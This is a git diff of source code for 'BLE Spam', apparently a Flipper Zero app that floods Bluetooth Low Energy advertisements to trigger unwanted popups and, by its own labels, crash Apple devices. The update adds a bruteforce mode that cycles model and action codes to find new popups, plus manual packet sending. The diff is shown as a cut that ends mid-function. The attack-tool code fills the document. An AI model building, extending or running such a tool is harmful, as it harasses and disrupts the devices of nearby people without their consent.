Procházet zdrojové kódy

BleSpam: Update to 4.1 from firmware repo

Willy-JL před 2 roky
rodič
revize
d7c7b9921b

+ 1 - 1
ble_spam/application.fam

@@ -8,7 +8,7 @@ App(
     fap_category="Bluetooth",
     fap_author="@Willy-JL @ECTO-1A @Spooks4576",
     fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
-    fap_version="3.3",
+    fap_version="4.1",
     fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
     fap_icon_assets="icons",
     fap_icon_assets_symbol="ble_spam",

+ 167 - 66
ble_spam/ble_spam.c

@@ -30,13 +30,10 @@ static Attack attacks[] = {
         .payload =
             {
                 .random_mac = false,
-                .cfg =
+                .cfg.continuity =
                     {
-                        .continuity =
-                            {
-                                .type = ContinuityTypeCustomCrash,
-                                .data = {},
-                            },
+                        .type = ContinuityTypeCustomCrash,
+                        .data = {},
                     },
             },
     },
@@ -47,13 +44,10 @@ static Attack attacks[] = {
         .payload =
             {
                 .random_mac = false,
-                .cfg =
+                .cfg.continuity =
                     {
-                        .continuity =
-                            {
-                                .type = ContinuityTypeNearbyAction,
-                                .data = {},
-                            },
+                        .type = ContinuityTypeNearbyAction,
+                        .data = {},
                     },
             },
     },
@@ -64,13 +58,10 @@ static Attack attacks[] = {
         .payload =
             {
                 .random_mac = false,
-                .cfg =
+                .cfg.continuity =
                     {
-                        .continuity =
-                            {
-                                .type = ContinuityTypeProximityPair,
-                                .data = {},
-                            },
+                        .type = ContinuityTypeProximityPair,
+                        .data = {},
                     },
             },
     },
@@ -81,10 +72,7 @@ static Attack attacks[] = {
         .payload =
             {
                 .random_mac = true,
-                .cfg =
-                    {
-                        .fastpair = {},
-                    },
+                .cfg.fastpair = {},
             },
     },
     {
@@ -94,13 +82,10 @@ static Attack attacks[] = {
         .payload =
             {
                 .random_mac = true,
-                .cfg =
+                .cfg.easysetup =
                     {
-                        .easysetup =
-                            {
-                                .type = EasysetupTypeBuds,
-                                .data = {},
-                            },
+                        .type = EasysetupTypeBuds,
+                        .data = {},
                     },
             },
     },
@@ -111,13 +96,10 @@ static Attack attacks[] = {
         .payload =
             {
                 .random_mac = true,
-                .cfg =
+                .cfg.easysetup =
                     {
-                        .easysetup =
-                            {
-                                .type = EasysetupTypeWatch,
-                                .data = {},
-                            },
+                        .type = EasysetupTypeWatch,
+                        .data = {},
                     },
             },
     },
@@ -128,10 +110,7 @@ static Attack attacks[] = {
         .payload =
             {
                 .random_mac = true,
-                .cfg =
-                    {
-                        .swiftpair = {},
-                    },
+                .cfg.swiftpair = {},
             },
     },
 };
@@ -152,8 +131,17 @@ typedef struct {
     uint8_t delay;
     FuriThread* thread;
     int8_t index;
+    bool ignore_bruteforce;
 } State;
 
+const NotificationSequence solid_message = {
+    &message_red_0,
+    &message_green_255,
+    &message_blue_255,
+    &message_do_not_reset,
+    &message_delay_10,
+    NULL,
+};
 NotificationMessage blink_message = {
     .type = NotificationMessageTypeLedBlinkStart,
     .data.led_blink.color = LightBlue | LightGreen,
@@ -188,7 +176,12 @@ static int32_t adv_thread(void* _ctx) {
 
     while(state->advertising) {
         if(protocol) {
-            protocol->make_packet(&size, &packet, &payload->cfg);
+            if(payload->mode == PayloadModeBruteforce && payload->bruteforce.counter++ >= 10) {
+                payload->bruteforce.counter = 0;
+                payload->bruteforce.value =
+                    (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
+            }
+            protocol->make_packet(&size, &packet, payload);
         } else {
             protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
         }
@@ -220,10 +213,11 @@ static void toggle_adv(State* state) {
     }
 }
 
-#define PAGE_MIN (-4)
+#define PAGE_MIN (-5)
 #define PAGE_MAX ATTACKS_COUNT
 enum {
-    PageHelpApps = PAGE_MIN,
+    PageHelpBruteforce = PAGE_MIN,
+    PageHelpApps,
     PageHelpDelay,
     PageHelpDistance,
     PageHelpInfoConfig,
@@ -265,6 +259,23 @@ static void draw_callback(Canvas* canvas, void* _ctx) {
     canvas_draw_str(canvas, 14, 12, "BLE Spam");
 
     switch(state->index) {
+    case PageHelpBruteforce:
+        canvas_set_font(canvas, FontBatteryPercent);
+        canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
+        elements_text_box(
+            canvas,
+            4,
+            16,
+            120,
+            48,
+            AlignLeft,
+            AlignTop,
+            "\e#Bruteforce\e# cycles codes\n"
+            "to find popups, hold left and\n"
+            "right to send manually and\n"
+            "change delay",
+            false);
+        break;
     case PageHelpApps:
         canvas_set_font(canvas, FontBatteryPercent);
         canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
@@ -343,7 +354,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) {
             "App+Spam: \e#WillyJL\e# XFW\n"
             "Apple+Crash: \e#ECTO-1A\e#\n"
             "Android+Win: \e#Spooks4576\e#\n"
-            "                                   Version \e#3.3\e#",
+            "                                   Version \e#4.1\e#",
             false);
         break;
     default: {
@@ -355,20 +366,45 @@ static void draw_callback(Canvas* canvas, void* _ctx) {
         char str[32];
 
         canvas_set_font(canvas, FontBatteryPercent);
-        snprintf(str, sizeof(str), "%ims", delays[state->delay]);
+        if(payload->mode == PayloadModeBruteforce) {
+            snprintf(
+                str,
+                sizeof(str),
+                "0x%0*lX",
+                payload->bruteforce.size * 2,
+                payload->bruteforce.value);
+        } else {
+            snprintf(str, sizeof(str), "%ims", delays[state->delay]);
+        }
         canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
         canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
         canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
 
         canvas_set_font(canvas, FontBatteryPercent);
-        snprintf(
-            str,
-            sizeof(str),
-            "%02i/%02i: %s",
-            state->index + 1,
-            ATTACKS_COUNT,
-            protocol ? protocol->get_name(&payload->cfg) : "Everything AND");
-        canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
+        if(payload->mode == PayloadModeBruteforce) {
+            canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
+            if(delays[state->delay] < 100) {
+                snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
+            } else {
+                snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
+            }
+            uint16_t w = canvas_string_width(canvas, str);
+            elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
+            elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
+            canvas_invert_color(canvas);
+            canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
+            canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
+            canvas_invert_color(canvas);
+        } else {
+            snprintf(
+                str,
+                sizeof(str),
+                "%02i/%02i: %s",
+                state->index + 1,
+                ATTACKS_COUNT,
+                protocol ? protocol->get_name(payload) : "Everything AND");
+            canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
+        }
 
         canvas_set_font(canvas, FontPrimary);
         canvas_draw_str(canvas, 4, 33, attack->title);
@@ -424,6 +460,7 @@ static bool input_callback(InputEvent* input, void* _ctx) {
         consumed = true;
 
         bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
+        Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
         bool advertising = state->advertising;
 
         switch(input->key) {
@@ -440,27 +477,82 @@ static bool input_callback(InputEvent* input, void* _ctx) {
             }
             break;
         case InputKeyUp:
-            if(is_attack && state->delay < COUNT_OF(delays) - 1) {
-                state->delay++;
-                if(advertising) start_blink(state);
+            if(is_attack) {
+                if(payload->mode == PayloadModeBruteforce) {
+                    payload->bruteforce.counter = 0;
+                    payload->bruteforce.value =
+                        (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
+                } else if(state->delay < COUNT_OF(delays) - 1) {
+                    state->delay++;
+                    if(advertising) start_blink(state);
+                }
             }
             break;
         case InputKeyDown:
-            if(is_attack && state->delay > 0) {
-                state->delay--;
-                if(advertising) start_blink(state);
+            if(is_attack) {
+                if(payload->mode == PayloadModeBruteforce) {
+                    payload->bruteforce.counter = 0;
+                    payload->bruteforce.value =
+                        (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
+                } else if(state->delay > 0) {
+                    state->delay--;
+                    if(advertising) start_blink(state);
+                }
             }
             break;
         case InputKeyLeft:
-            if(state->index > PAGE_MIN) {
-                if(advertising) toggle_adv(state);
-                state->index--;
+            if(input->type == InputTypeLong) {
+                state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
+                                                     true;
+            }
+            if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
+               payload->mode != PayloadModeBruteforce) {
+                if(state->index > PAGE_MIN) {
+                    if(advertising) toggle_adv(state);
+                    state->index--;
+                }
+            } else {
+                if(!advertising) {
+                    bool resume = furi_hal_bt_is_active();
+                    furi_hal_bt_stop_advertising();
+                    Payload* payload = &attacks[state->index].payload;
+                    const Protocol* protocol = attacks[state->index].protocol;
+
+                    uint8_t size;
+                    uint8_t* packet;
+                    protocol->make_packet(&size, &packet, payload);
+                    furi_hal_bt_custom_adv_set(packet, size);
+                    free(packet);
+
+                    uint8_t mac[GAP_MAC_ADDR_SIZE];
+                    furi_hal_random_fill_buf(mac, sizeof(mac));
+                    uint16_t delay = delays[state->delay];
+                    furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
+                    if(state->ctx.led_indicator)
+                        notification_message(state->ctx.notification, &solid_message);
+                    furi_delay_ms(10);
+                    furi_hal_bt_custom_adv_stop();
+
+                    if(state->ctx.led_indicator)
+                        notification_message_block(state->ctx.notification, &sequence_reset_rgb);
+                    if(resume) furi_hal_bt_start_advertising();
+                }
             }
             break;
         case InputKeyRight:
-            if(state->index < PAGE_MAX) {
-                if(advertising) toggle_adv(state);
-                state->index++;
+            if(input->type == InputTypeLong) {
+                state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
+                                                     true;
+            }
+            if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
+               payload->mode != PayloadModeBruteforce) {
+                if(state->index < PAGE_MAX) {
+                    if(advertising) toggle_adv(state);
+                    state->index++;
+                }
+            } else if(input->type == InputTypeLong) {
+                state->delay = (state->delay + 1) % COUNT_OF(delays);
+                if(advertising) start_blink(state);
             }
             break;
         case InputKeyBack:
@@ -488,9 +580,17 @@ static void lock_timer_callback(void* _ctx) {
     state->lock_count = 0;
 }
 
+static void tick_event_callback(void* _ctx) {
+    State* state = _ctx;
+    bool advertising;
+    with_view_model(
+        state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
+    scene_manager_handle_tick_event(state->ctx.scene_manager);
+}
+
 static bool back_event_callback(void* _ctx) {
-    Ctx* ctx = _ctx;
-    return scene_manager_handle_back_event(ctx->scene_manager);
+    State* state = _ctx;
+    return scene_manager_handle_back_event(state->ctx.scene_manager);
 }
 
 int32_t ble_spam(void* p) {
@@ -507,7 +607,8 @@ int32_t ble_spam(void* p) {
     Gui* gui = furi_record_open(RECORD_GUI);
     state->ctx.view_dispatcher = view_dispatcher_alloc();
     view_dispatcher_enable_queue(state->ctx.view_dispatcher);
-    view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx);
+    view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
+    view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
     view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
     state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
 

+ 4 - 4
ble_spam/protocols/_base.h

@@ -10,12 +10,12 @@
 #include <core/core_defines.h>
 #include "../ble_spam.h"
 
-typedef union ProtocolCfg ProtocolCfg;
+typedef struct Payload Payload;
 
 typedef struct {
     const Icon* icon;
-    const char* (*get_name)(const ProtocolCfg* _cfg);
-    void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg);
+    const char* (*get_name)(const Payload* payload);
+    void (*make_packet)(uint8_t* _size, uint8_t** _packet, Payload* payload);
     void (*extra_config)(Ctx* ctx);
-    uint8_t (*config_count)(const ProtocolCfg* _cfg);
+    uint8_t (*config_count)(const Payload* payload);
 } Protocol;

+ 20 - 10
ble_spam/protocols/_protocols.h

@@ -5,22 +5,32 @@
 #include "easysetup.h"
 #include "swiftpair.h"
 
-union ProtocolCfg {
-    ContinuityCfg continuity;
-    FastpairCfg fastpair;
-    EasysetupCfg easysetup;
-    SwiftpairCfg swiftpair;
+typedef enum {
+    PayloadModeRandom,
+    PayloadModeValue,
+    PayloadModeBruteforce,
+} PayloadMode;
+
+struct Payload {
+    bool random_mac;
+    PayloadMode mode;
+    struct {
+        uint8_t counter;
+        uint32_t value;
+        uint8_t size;
+    } bruteforce;
+    union {
+        ContinuityCfg continuity;
+        FastpairCfg fastpair;
+        EasysetupCfg easysetup;
+        SwiftpairCfg swiftpair;
+    } cfg;
 };
 
 extern const Protocol* protocols[];
 
 extern const size_t protocols_count;
 
-typedef struct {
-    bool random_mac;
-    ProtocolCfg cfg;
-} Payload;
-
 struct Attack {
     const char* title;
     const char* text;

+ 149 - 70
ble_spam/protocols/continuity.c

@@ -71,8 +71,8 @@ static const char* type_names[ContinuityTypeCOUNT] = {
     [ContinuityTypeNearbyInfo] = "Nearby Info",
     [ContinuityTypeCustomCrash] = "Continuity Custom",
 };
-static const char* continuity_get_name(const ProtocolCfg* _cfg) {
-    const ContinuityCfg* cfg = &_cfg->continuity;
+static const char* get_name(const Payload* payload) {
+    const ContinuityCfg* cfg = &payload->cfg.continuity;
     return type_names[cfg->type];
 }
 
@@ -87,11 +87,11 @@ static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
     [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
     [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
 };
-static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
-    const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL;
+static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
+    ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
 
     ContinuityType type;
-    if(cfg) {
+    if(cfg && cfg->type != 0x00) {
         type = cfg->type;
     } else {
         const ContinuityType types[] = {
@@ -139,14 +139,21 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot
 
     case ContinuityTypeProximityPair: {
         uint16_t model;
-        if(cfg && cfg->data.proximity_pair.model != 0x0000) {
-            model = cfg->data.proximity_pair.model;
-        } else {
+        switch(payload ? payload->mode : PayloadModeRandom) {
+        case PayloadModeRandom:
+        default:
             model = pp_models[rand() % pp_models_count].value;
+            break;
+        case PayloadModeValue:
+            model = cfg->data.proximity_pair.model;
+            break;
+        case PayloadModeBruteforce:
+            model = cfg->data.proximity_pair.model = payload->bruteforce.value;
+            break;
         }
 
         uint8_t prefix;
-        if(cfg && cfg->data.proximity_pair.prefix == 0x00) {
+        if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
             prefix = cfg->data.proximity_pair.prefix;
         } else {
             if(model == 0x0055 || model == 0x0030)
@@ -209,10 +216,17 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot
 
     case ContinuityTypeNearbyAction: {
         uint8_t action;
-        if(cfg && cfg->data.nearby_action.action != 0x00) {
-            action = cfg->data.nearby_action.action;
-        } else {
+        switch(payload ? payload->mode : PayloadModeRandom) {
+        case PayloadModeRandom:
+        default:
             action = na_actions[rand() % na_actions_count].value;
+            break;
+        case PayloadModeValue:
+            action = cfg->data.nearby_action.action;
+            break;
+        case PayloadModeBruteforce:
+            action = cfg->data.nearby_action.action = payload->bruteforce.value;
+            break;
         }
 
         uint8_t flags;
@@ -293,7 +307,8 @@ enum {
 };
 static void config_callback(void* _ctx, uint32_t index) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
     switch(cfg->type) {
     case ContinuityTypeProximityPair: {
@@ -341,19 +356,22 @@ static void config_callback(void* _ctx, uint32_t index) {
     }
 }
 static void pp_model_changed(VariableItem* item) {
-    ContinuityCfg* cfg = variable_item_get_context(item);
+    Payload* payload = variable_item_get_context(item);
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     uint8_t index = variable_item_get_current_value_index(item);
     if(index) {
         index--;
+        payload->mode = PayloadModeValue;
         cfg->data.proximity_pair.model = pp_models[index].value;
         variable_item_set_current_value_text(item, pp_models[index].name);
     } else {
-        cfg->data.proximity_pair.model = 0x0000;
+        payload->mode = PayloadModeRandom;
         variable_item_set_current_value_text(item, "Random");
     }
 }
 static void pp_prefix_changed(VariableItem* item) {
-    ContinuityCfg* cfg = variable_item_get_context(item);
+    Payload* payload = variable_item_get_context(item);
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     uint8_t index = variable_item_get_current_value_index(item);
     if(index) {
         index--;
@@ -365,33 +383,39 @@ static void pp_prefix_changed(VariableItem* item) {
     }
 }
 static void na_action_changed(VariableItem* item) {
-    ContinuityCfg* cfg = variable_item_get_context(item);
+    Payload* payload = variable_item_get_context(item);
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     uint8_t index = variable_item_get_current_value_index(item);
     if(index) {
         index--;
+        payload->mode = PayloadModeValue;
         cfg->data.nearby_action.action = na_actions[index].value;
         variable_item_set_current_value_text(item, na_actions[index].name);
     } else {
-        cfg->data.nearby_action.action = 0x00;
+        payload->mode = PayloadModeRandom;
         variable_item_set_current_value_text(item, "Random");
     }
 }
-static void continuity_extra_config(Ctx* ctx) {
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+static void extra_config(Ctx* ctx) {
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     VariableItemList* list = ctx->variable_item_list;
     VariableItem* item;
     size_t value_index;
 
     switch(cfg->type) {
     case ContinuityTypeProximityPair: {
-        item =
-            variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg);
+        item = variable_item_list_add(
+            list, "Model Code", pp_models_count + 1, pp_model_changed, payload);
         const char* model_name = NULL;
         char model_name_buf[5];
-        if(cfg->data.proximity_pair.model == 0x0000) {
+        switch(payload->mode) {
+        case PayloadModeRandom:
+        default:
             model_name = "Random";
             value_index = 0;
-        } else {
+            break;
+        case PayloadModeValue:
             for(uint8_t i = 0; i < pp_models_count; i++) {
                 if(cfg->data.proximity_pair.model == pp_models[i].value) {
                     model_name = pp_models[i].name;
@@ -405,12 +429,17 @@ static void continuity_extra_config(Ctx* ctx) {
                 model_name = model_name_buf;
                 value_index = pp_models_count + 1;
             }
+            break;
+        case PayloadModeBruteforce:
+            model_name = "Bruteforce";
+            value_index = pp_models_count + 1;
+            break;
         }
         variable_item_set_current_value_index(item, value_index);
         variable_item_set_current_value_text(item, model_name);
 
-        item =
-            variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg);
+        item = variable_item_list_add(
+            list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
         const char* prefix_name = NULL;
         char prefix_name_buf[3];
         if(cfg->data.proximity_pair.prefix == 0x00) {
@@ -440,13 +469,16 @@ static void continuity_extra_config(Ctx* ctx) {
     }
     case ContinuityTypeNearbyAction: {
         item = variable_item_list_add(
-            list, "Action Type", na_actions_count + 1, na_action_changed, cfg);
+            list, "Action Type", na_actions_count + 1, na_action_changed, payload);
         const char* action_name = NULL;
         char action_name_buf[3];
-        if(cfg->data.nearby_action.action == 0x00) {
+        switch(payload->mode) {
+        case PayloadModeRandom:
+        default:
             action_name = "Random";
             value_index = 0;
-        } else {
+            break;
+        case PayloadModeValue:
             for(uint8_t i = 0; i < na_actions_count; i++) {
                 if(cfg->data.nearby_action.action == na_actions[i].value) {
                     action_name = na_actions[i].name;
@@ -463,6 +495,11 @@ static void continuity_extra_config(Ctx* ctx) {
                 action_name = action_name_buf;
                 value_index = na_actions_count + 1;
             }
+            break;
+        case PayloadModeBruteforce:
+            action_name = "Bruteforce";
+            value_index = na_actions_count + 1;
+            break;
         }
         variable_item_set_current_value_index(item, value_index);
         variable_item_set_current_value_text(item, action_name);
@@ -502,31 +539,40 @@ static uint8_t config_counts[ContinuityTypeCOUNT] = {
     [ContinuityTypeNearbyInfo] = 0,
     [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
 };
-static uint8_t continuity_config_count(const ProtocolCfg* _cfg) {
-    const ContinuityCfg* cfg = &_cfg->continuity;
+static uint8_t config_count(const Payload* payload) {
+    const ContinuityCfg* cfg = &payload->cfg.continuity;
     return config_counts[cfg->type];
 }
 
 const Protocol protocol_continuity = {
     .icon = &I_apple,
-    .get_name = continuity_get_name,
-    .make_packet = continuity_make_packet,
-    .extra_config = continuity_extra_config,
-    .config_count = continuity_config_count,
+    .get_name = get_name,
+    .make_packet = make_packet,
+    .extra_config = extra_config,
+    .config_count = config_count,
 };
 
 static void pp_model_callback(void* _ctx, uint32_t index) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     switch(index) {
     case 0:
-        cfg->data.proximity_pair.model = 0x0000;
+        payload->mode = PayloadModeRandom;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
     case pp_models_count + 1:
         scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
         break;
+    case pp_models_count + 2:
+        payload->mode = PayloadModeBruteforce;
+        payload->bruteforce.counter = 0;
+        payload->bruteforce.value = cfg->data.proximity_pair.model;
+        payload->bruteforce.size = 2;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
     default:
+        payload->mode = PayloadModeValue;
         cfg->data.proximity_pair.model = pp_models[index - 1].value;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
@@ -534,30 +580,36 @@ static void pp_model_callback(void* _ctx, uint32_t index) {
 }
 void scene_continuity_pp_model_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     Submenu* submenu = ctx->submenu;
     uint32_t selected = 0;
-    bool found = false;
     submenu_reset(submenu);
 
     submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
-    if(cfg->data.proximity_pair.model == 0x0000) {
-        found = true;
+    if(payload->mode == PayloadModeRandom) {
         selected = 0;
     }
+
+    bool found = false;
     for(uint8_t i = 0; i < pp_models_count; i++) {
         submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
-        if(!found && cfg->data.proximity_pair.model == pp_models[i].value) {
+        if(!found && payload->mode == PayloadModeValue &&
+           cfg->data.proximity_pair.model == pp_models[i].value) {
             found = true;
             selected = i + 1;
         }
     }
     submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
-    if(!found) {
-        found = true;
+    if(!found && payload->mode == PayloadModeValue) {
         selected = pp_models_count + 1;
     }
 
+    submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
+    if(payload->mode == PayloadModeBruteforce) {
+        selected = pp_models_count + 2;
+    }
+
     submenu_set_selected_item(submenu, selected);
 
     view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
@@ -573,12 +625,17 @@ void scene_continuity_pp_model_on_exit(void* _ctx) {
 
 static void pp_model_custom_callback(void* _ctx) {
     Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
+    payload->mode = PayloadModeValue;
+    cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
     scene_manager_previous_scene(ctx->scene_manager);
     scene_manager_previous_scene(ctx->scene_manager);
 }
 void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     ByteInput* byte_input = ctx->byte_input;
 
     byte_input_set_header_text(byte_input, "Enter custom Model Code");
@@ -597,14 +654,13 @@ bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent eve
     return false;
 }
 void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
-    Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
-    cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
+    UNUSED(_ctx);
 }
 
 static void pp_prefix_callback(void* _ctx, uint32_t index) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     switch(index) {
     case 0:
         cfg->data.proximity_pair.prefix = 0x00;
@@ -621,7 +677,8 @@ static void pp_prefix_callback(void* _ctx, uint32_t index) {
 }
 void scene_continuity_pp_prefix_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     Submenu* submenu = ctx->submenu;
     uint32_t selected = 0;
     bool found = false;
@@ -632,6 +689,7 @@ void scene_continuity_pp_prefix_on_enter(void* _ctx) {
         found = true;
         selected = 0;
     }
+
     for(uint8_t i = 0; i < pp_prefixes_count; i++) {
         submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
         if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
@@ -641,7 +699,6 @@ void scene_continuity_pp_prefix_on_enter(void* _ctx) {
     }
     submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
     if(!found) {
-        found = true;
         selected = pp_prefixes_count + 1;
     }
 
@@ -660,12 +717,16 @@ void scene_continuity_pp_prefix_on_exit(void* _ctx) {
 
 static void pp_prefix_custom_callback(void* _ctx) {
     Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
+    cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
     scene_manager_previous_scene(ctx->scene_manager);
     scene_manager_previous_scene(ctx->scene_manager);
 }
 void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     ByteInput* byte_input = ctx->byte_input;
 
     byte_input_set_header_text(byte_input, "Enter custom Prefix");
@@ -683,23 +744,30 @@ bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent ev
     return false;
 }
 void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
-    Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
-    cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
+    UNUSED(_ctx);
 }
 
 static void na_action_callback(void* _ctx, uint32_t index) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     switch(index) {
     case 0:
-        cfg->data.nearby_action.action = 0x00;
+        payload->mode = PayloadModeRandom;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
     case na_actions_count + 1:
         scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
         break;
+    case na_actions_count + 2:
+        payload->mode = PayloadModeBruteforce;
+        payload->bruteforce.counter = 0;
+        payload->bruteforce.value = cfg->data.nearby_action.action;
+        payload->bruteforce.size = 1;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
     default:
+        payload->mode = PayloadModeValue;
         cfg->data.nearby_action.action = na_actions[index - 1].value;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
@@ -707,30 +775,36 @@ static void na_action_callback(void* _ctx, uint32_t index) {
 }
 void scene_continuity_na_action_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     Submenu* submenu = ctx->submenu;
     uint32_t selected = 0;
-    bool found = false;
     submenu_reset(submenu);
 
     submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
-    if(cfg->data.nearby_action.action == 0x00) {
-        found = true;
+    if(payload->mode == PayloadModeRandom) {
         selected = 0;
     }
+
+    bool found = false;
     for(uint8_t i = 0; i < na_actions_count; i++) {
         submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
-        if(!found && cfg->data.nearby_action.action == na_actions[i].value) {
+        if(!found && payload->mode == PayloadModeValue &&
+           cfg->data.nearby_action.action == na_actions[i].value) {
             found = true;
             selected = i + 1;
         }
     }
